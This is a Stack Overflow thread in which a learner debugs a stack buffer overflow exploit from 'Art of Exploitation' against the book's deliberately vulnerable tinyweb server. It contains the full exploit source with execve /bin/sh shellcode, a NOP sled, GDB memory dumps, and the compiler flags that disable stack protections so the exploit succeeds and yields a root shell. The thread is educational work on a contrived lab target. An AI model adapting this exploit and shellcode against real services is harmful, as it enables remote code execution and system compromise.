How to fix buffer overflow return address failure?

6

I've been working on a buffer overflow from Jon Erickson's Art of Exploitation for a few days now, and I don't understand why I'm getting a segmentation fault. As far as I can tell, the return address is being overwritten properly with an address in the NOP sled, but the program throws a segmentation fault every time it reaches the return instruction at the end of the stack frame.

The vulnerable section of the code is the length = recv_line(sockfd, request); as the buffer size is never checked. The entire function taken from the tinyweb program follows-

void (handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr)){
unsigned char *ptr, request[500], resource[500];
int fd, length;

printf("[DEBUG] hc:1 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
length = recv_line(sockfd, request);
printf("[DEBUG] hc:2 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);

printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
printf("[DEBUG] hc:3 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);

ptr = strstr(request, " HTTP/");
if(ptr == NULL){
    printf(" NOT HTTP!\n");
} else {
    *ptr = 0;
    ptr = NULL;
    if(strncmp(request, "GET ", 4) == 0)
        ptr = request + 4;
    if(strncmp(request, "HEAD ", 5) ==0)
        ptr = request + 5;

    if(ptr == NULL){
        printf("\tUNKNOWN REQUEST!");
    } 
    else {
        if(ptr[strlen(ptr) -1] == '/')
            strcat(ptr, "index.html");
        strcpy(resource, WEBROOT);
        strcat(resource, ptr);
        fd = open(resource, O_RDONLY, 0);
        printf("\tOpening \'%s\'\t", resource);
        if(fd == -1){
            printf(" 404 Not Found\n");
            send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");
            send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
            send_string(sockfd, "<html><head><title>404 Not Found</title></head>");
            send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n");
        } 
        else{
            printf(" 200 OK\n");
            send_string(sockfd, "HTTP/1.0 200 OK\r\n");
            send_string(sockfd, "Server Tiny webserver\r\n\r\n");
            if(ptr == request + 4){
                if( (length = get_file_size(fd)) == -1)
                    fatal("getting resource file size");
                if( (ptr = (unsigned char *) malloc(length)) == NULL)
                    fatal("allocating memory for reading resource");
                read(fd, ptr, length);
                send(sockfd, ptr, length, 0);
                free(ptr);
            }
            close(fd);
        }
    }
}
printf("Shutting down socket.\n");
shutdown(sockfd, SHUT_RDWR);
printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
}

The exploit code follows below-

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#include "hacking.h"
#include "hacking-network.h"

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

#define OFFSET 524
#define RETADDR 0xbfdaf708

int main(int argc, char *argv[]){
int i, sockfd, buflen; //, count;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[600];

if(argc < 1){
    printf("Usage: %s <hostname> <# of A's to insert>\n", argv[0]);
    exit(1);
}

if((host_info = gethostbyname(argv[1])) == NULL)
    fatal("looking up hostname");

if((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    fatal("in socket");

//count = atoi(argv[2]);
    //printf("Count: %d\n", count);
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(81);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8);

if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
    fatal("connecting to target server");

bzero(buffer, 600); 
memset(buffer, '\x90', OFFSET);
*((u_int *)(buffer + OFFSET)) = RETADDR;
memcpy(buffer+300, shellcode, strlen(shellcode));
strcat(buffer, "\r\n"); 
printf("Exploit  buffer:\n");
dump(buffer, strlen(buffer));
send_string(sockfd, buffer);

exit(0);
}

Here is the information from GDB

:~/programs/c/exec$ ps aux | grep tinyweb
         2747  0.1  2.3  97432 48012 pts/1    Sl   Dec15   2:37 gedit tinyweb_exploit.c
root     12444  0.0  0.0   1688   248 pts/2    S+   18:32   0:00 ./tinyweb
         12456  0.0  0.0   4012   768 pts/0    S+   18:33   0:00 grep --color=auto tinyweb
:~/programs/c/exec$ sudo gdb -q --pid=12444 --symbols=./tinyweb

warning: not using untrusted file "/home/sam/.gdbinit"
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Attaching to process 12444
Load new symbol table from "/home/sam/programs/c/exec/tinyweb"? (y or n) y
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x001c3416 in __kernel_vsyscall ()
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) c
Continuing.

Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), 
    ntohs(client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfcee1a4: 0x0099bad0  0x00aad4e0  0x0000000f  0xbfcee1c4
0xbfcee1b4: 0x00aacff4  0xbfcee218  0x08048e2f  0x00000004
0xbfcee1c4: 0xbfcee1e4  0x00000004  0xbfcee204  0x00000004
0xbfcee1d4: 0x0804aff4  0xbfcee1e8  0x08048658  0x00000010
(gdb) bt
#0  handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
#1  0x08048e2f in main () at ../code/tinyweb.c:60
(gdb) x/x request
0xbfcedfb0: 0x20544547
(gdb) p /x 0xbfcee1b4 + 8
$5 = 0xbfcee1bc
(gdb) p $5 - 0xbfcedfb0
$6 = 524
(gdb) p /x 0xbfcedfb0 + 200
$7 = 0xbfcee078
(gdb) c
Continuing.

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), 
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/150xw request
0xbfcedfb0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfc0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfd0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfe0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedff0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee000: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee010: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee020: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee030: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee040: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee050: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee060: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee070: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee080: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee090: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0a0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0d0: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfcee0e0: 0xb099c931  0x6a80cda4  0x6851580b  0x68732f2f
0xbfcee0f0: 0x69622f68  0x51e3896e  0x8953e289  0x9080cde1
0xbfcee100: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee110: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee120: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee130: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee140: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee150: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee160: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee170: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee180: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee190: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee1a0: 0x90909090  0x90909090  0x90909090  0x00000211
0xbfcee1b0: 0x90909090  0x90909090  0x90909090  0xbfcee078
0xbfcee1c0: 0x0000000d  0xbfcee1e4  0x00000005  0xbfcee204
0xbfcee1d0: 0x00000004  0x0804aff4  0xbfcee1e8  0x08048658
0xbfcee1e0: 0x00000010  0xd4920002  0x0100007f  0x00000000
0xbfcee1f0: 0x00000000  0x51000002  0x00000000  0x00000000
0xbfcee200: 0x00000000  0x00000001
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
(gdb) i r eip
eip            0x80491b1    0x80491b1 <handle_connection+893>
    (gdb) x/i 0x080491b1
=> 0x80491b1 <handle_connection+893>:   ret    

The tinyweb program is started, and then GDB is attached to the program. A breakpoint is set to determine where the buffer is located in memory (request @ 0xbfcedfb0). bt is used to determine what the current return address is and its location (ret address 0x08048e2f located at 0xbfcee1bc) The return address is determined to be 524 bytes from the buffer. The exploit uses a return address 200 bytes into the buffer, and puts the shellcode 300 bytes in. After the exploit is run, the buffer is examined, containing the NOP sled, the shellcode, and clearly showing the original return address at 0xbfcee1bc which had 0x08048e2f now containing the address 0xbfcee078, which is clearly an address in the buffer pointing to a NOP. However, when the program is continued, it throws a segmentation fault. After the segmentation fault the instruction pointer is examined, pointing to a line in the handle connection stack frame. When examined, this shows the return instruction.

Why is it throwing a segmentation fault at the return instruction when there is a valid memory address placed there for it to return to??

Edit 1

Im embarrassed I didn't notice that shellcode bit earlier. Then again, I haven't gotten the earlier exploits to work either yet courtesy of ASLR, so I never looked that closely at the shellcode. Anyways here is what I changed it to-

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x89\xe3\x51\x89\xe2\x53\x89\xe1"
"\xcd\x80";

............1.1.1......j.XQh//bin/sh..Q..S.....

Unfortunately, Im looking at the same issue. Ive got some more GDB shown below. As best I can tell, when the RET is called, somehow the sockfd variable is gets screwed up, but as the DEBUG prints show, the sockfd doesnt get changed. Ive tried stepping through the instructions at the end to see whats going on, but that hasnt revealed much...

[DEBUG] hc:3 sockfd is at bfefcae0 and contains 0x0000000d
 NOT HTTP!
 Shutting down socket.
[DEBUG] hc:4 sockfd is at bfefcae0 and contains 0x0000000d
Segmentation fault (core dumped)



(gdb) list 120
115                     send(sockfd, ptr, length, 0);
116                     free(ptr);
117                 }
118                 close(fd);
119             }
120         }
121     }
122     printf("Shutting down socket.\n");
123     shutdown(sockfd, SHUT_RDWR);
124     printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd); 
125 }
126 
127 int get_file_size(int fd){
128     struct stat stat_struct;
129     
130     if(fstat(fd, &stat_struct) == -1)
131         return -1;
132     return (int) stat_struct.st_size;
133 }
134     
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) break 120
Breakpoint 2 at 0x804916f: file ../code/tinyweb.c, line 120.

Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
122     printf("Shutting down socket.\n");
(gdb) x/170xw request
0xbfefc8d0: 0x90909090  0x90909090  0x90909090  0x90909090
....Output Trimmed....
0xbfefc990: 0x90909090  0x90909090  0x90909090  0x90909090
                                    ^  
...Output Trimmed....               |________________________RET address location in NOP sled

0xbfefc9f0: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfefca00: 0xb099c931  0x6a80cda4  0x6851580b  0x69622f2f
0xbfefca10: 0x68732f6e  0x8951e389  0xe18953e2  0x909080cd
0xbfefca20: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca30: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca50: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca60: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca70: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca80: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca90: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcaa0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcab0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcac0: 0x90909090  0x00000000  0x90909090  0x00000211

0xbfefcad0: 0x90909090  0x90909090  0x90909090  0xbfefc998<= RET address

0xbfefcae0: 0x0000000d  0xbfefcb04  0x00000006  0xbfefcb24
0xbfefcaf0: 0x00000004  0x0804aff4  0xbfefcb08  0x08048658
0xbfefcb00: 0x00000010  0xd9a40002  0x0100007f  0x00000000
0xbfefcb10: 0x00000000  0x51000002  0x00000000  0x00000000
0xbfefcb20: 0x00000000  0x00000001  0x00000006  0x00000003
0xbfefcb30: 0x080491f0  0x00000000  0xbfefcbb8  0x00126ce7
0xbfefcb40: 0x00000001  0xbfefcbe4  0xbfefcbec  0xb7810848
0xbfefcb50: 0xbfefcc4c  0xffffffff  0x00b0dff4  0x08048497
0xbfefcb60: 0x00000001  0xbfefcba0  0x00aff136  0x00b0ead0
0xbfefcb70: 0xb7810b28  0x00268ff4

(gdb) bt
#0  handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
#1  0xbfefc998 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

(gdb) x/20i $eip
=> 0x804916f <handle_connection+827>:   movl   $0x804985b,(%esp)
   0x8049176 <handle_connection+834>:   call   0x804880c <puts@plt>
   0x804917b <handle_connection+839>:   mov    0x8(%ebp),%eax
   0x804917e <handle_connection+842>:   movl   $0x2,0x4(%esp)
   0x8049186 <handle_connection+850>:   mov    %eax,(%esp)
   0x8049189 <handle_connection+853>:   call   0x804868c <shutdown@plt>
   0x804918e <handle_connection+858>:   mov    0x8(%ebp),%edx
   0x8049191 <handle_connection+861>:   mov    $0x8049874,%eax
   0x8049196 <handle_connection+866>:   mov    %edx,0x8(%esp)
   0x804919a <handle_connection+870>:   lea    0x8(%ebp),%edx
   0x804919d <handle_connection+873>:   mov    %edx,0x4(%esp)
   0x80491a1 <handle_connection+877>:   mov    %eax,(%esp)
   0x80491a4 <handle_connection+880>:   call   0x804878c <printf@plt>
   0x80491a9 <handle_connection+885>:   add    $0x414,%esp
   0x80491af <handle_connection+891>:   pop    %ebx
   0x80491b0 <handle_connection+892>:   pop    %ebp
   0x80491b1 <handle_connection+893>:   ret    
   0x80491b2 <get_file_size>:   push   %ebp
   0x80491b3 <get_file_size+1>: mov    %esp,%ebp
   0x80491b5 <get_file_size+3>: sub    $0x78,%esp
(gdb) s
123     shutdown(sockfd, SHUT_RDWR);
(gdb) x/x &sockfd
0xbfefcae0: 0x0000000d
(gdb) s
124     printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
(gdb) i r eip
eip            0x804918e    0x804918e <handle_connection+858>
(gdb) s
125 }
(gdb) x/10i $eip
=> 0x80491a9 <handle_connection+885>:   add    $0x414,%esp
   0x80491af <handle_connection+891>:   pop    %ebx
   0x80491b0 <handle_connection+892>:   pop    %ebp
   0x80491b1 <handle_connection+893>:   ret    
   0x80491b2 <get_file_size>:   push   %ebp
   0x80491b3 <get_file_size+1>: mov    %esp,%ebp
   0x80491b5 <get_file_size+3>: sub    $0x78,%esp
   0x80491b8 <get_file_size+6>: lea    -0x60(%ebp),%eax
   0x80491bb <get_file_size+9>: mov    %eax,0x4(%esp)
   0x80491bf <get_file_size+13>:    mov    0x8(%ebp),%eax
(gdb) si
0x080491af  125 }
(gdb) i r eip
eip            0x80491af    0x80491af <handle_connection+891>
(gdb) si
0x080491b0  125 }
(gdb) i r eip
eip            0x80491b0    0x80491b0 <handle_connection+892>
(gdb) info registers
eax            0x3b 59
ecx            0xbfefc6a8   -1074805080
edx            0x26a360 2532192
ebx            0x90909090   -1869574000
esp            0xbfefcad8   0xbfefcad8
ebp            0xbfefcad8   0xbfefcad8
esi            0x0  0
edi            0x0  0
eip            0x80491b0    0x80491b0 <handle_connection+892>
eflags         0x200286 [ PF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) si
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
    (gdb) x/x sockfd
    Cannot access memory at address 0x90909098
    (gdb) x/x &sockfd
    0x90909098: Cannot access memory at address 0x90909098

Any thoughts as to whats going on?

c
security
debugging
segmentation-fault
buffer
asked on Stack Overflow Dec 16, 2011 by gr0k • edited Dec 17, 2011 by gr0k

3 Answers

6

As promised earlier...here is the explanation along with the fix.

The reason the exploit failed on my system (Ubuntu 10.10) was the result of the implementation of the non executable stack (note the RW ending)

$ gcc -fno-stack-protector -g -z noexecstack -o tinyweb ../code/tinyweb.c && readelf -l   
tinyweb_exploit | grep -i stack

GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

This resulted in the following GDB output.

    Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
61      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),            
ntohs     (client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfff1c54: 0x00d09d90  0xbfff1c90  0x0000000f  0x00000003
0xbfff1c64: 0x00268ff4  0xbfff1cc8  0x08048cec  0x00000004 
          Programs return address at 0xbfff1c6c---^
0xbfff1c74: 0xbfff1c94  0xbfff1c90  0xbfff1cb4  0x00000004
0xbfff1c84: 0x0804aff4  0xbfff1c98  0x08048658  0x00000010
(gdb) bt
#0  handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
#1  0x08048cec in main () at ../code/tinyweb.c:49

(gdb) x/150x request
----Output Trimmed----
0xbfff1b70: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfff1b80: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfff1b90: 0xb099c931  0x6a80cda4  0x6851580b  0x68732f2f
0xbfff1ba0: 0x69622f68  0x51e3896e  0x8953e289  0x9080cde1
0xbfff1bb0: 0x90909090  0x90909090  0x90909090  0x90909090
----Output Trimmed----
0xbfff1c40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfff1c50: 0x90909090  0x00000000  0x90909090  0x00000211
0xbfff1c60: 0x90909090  0x90909090  0x90909090  0xbfff1b28 
                              Overwritten Return Address-^
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08048fff in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:110
110 }
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

Although not shown, the return address now contains a valid memory location located higher up on the stack. Here is the output from the webprogram....

Request 127.0.0.1:44576 "����������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
��������������������������������������1�1�1ə��̀j

        Xqh//shh/bin��Q��S��̀�����������������������
    �����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�##"

 NOT HTTP!

Shutting down socket.

Segmentation fault

As previously noted, the exploit fails. After turning off the stack smashing protection and making the stack executable though....

    $ gcc -z execstack -fno-stack-protector -g -o tinyweb ../code/tinyweb.c && readelf -l  tinyweb | grep      
-i stack
 GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:61
61      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),     
ntohs(client_addr_ptr->sin_port), request);
(gdb) c
Continuing.

Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:109
109     shutdown(sockfd, SHUT_RDWR);
(gdb) c
Continuing.
process 13666 is executing new program: /bin/dash

And back to the webserver output.....

Request 127.0.0.1:52107 "������������������������
��������������������������������������������
��������������������������������������������
��������������������������������������������
���������������������������������������������
���������������������������������������������
���������������������������������������1�1�1ə��̀j

                                                                              Xqh//shh/bin��Q��S��̀���������
������������������������������������������������
������������������������������������������������
�����������������������������������������������
���������������������##"

NOT HTTP!

Shutting down socket.

# whoami

root

Success.

This is a contrived example setup specifically to play around and learn how buffer overflows work, but the overall lesson about dealing with current protection measures is useful to know. While looking for an answer, I found this post about it which does a good job revisiting Smashing the Stack for Fun and Profit and explains the changes that developers have made to make it more difficult to exploit programs.

http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/

Hope this helps anyone who runs into the same issues down the road.

answered on Stack Overflow Jan 16, 2012 by gr0k
0

try to examine assembler code before your continue:

x/10i $eip

and try to stepi your code instead of continue.

PS: I don't know for your book, but mine "Art of Exploitation" contained a lot of artificial bugs in code (like /shh/bin instead of /bin/sh and a lot of more hard noticeable ones). I think they're made intentionally, to protect the Internet from a lot of so called script kiddies that'll just copy-paste the exploits code. So, maybe this example contains this sort of 'bug' too.

answered on Stack Overflow Dec 16, 2011 by zed_0xff • edited Dec 16, 2011 by zed_0xff
0

I think after you step past this instruction:

=> 0x80491a9 <handle_connection+885>:   add    $0x414,%esp

... GDB lost the ability to figure out where sockfd actually is (because the stack pointer changed), and so reports it as being part of the NOP sled instead.

The fact that sockfd hasn't been overwritten is simply because of the x86 calling convention (remember, each of these operations is a subtraction from the stack pointer):

  1. Parameters pushed onto the stack
  2. Return address pushed onto the stack
  3. Local variables pushed onto the stack

Your exploit overwrote (2) and (3) but not (1), so sockfd remains intact. (it's just that after you step over the modification to %esp, GDB can't figure out what sockfd was.)

What would be more interesting is if you continue to single-step past the ret instruction to see what happens next. You stopped your edit right before the interesting part. ;-)

answered on Stack Overflow Jan 9, 2012 by mpontillo

User contributions licensed under CC BY-SA 3.0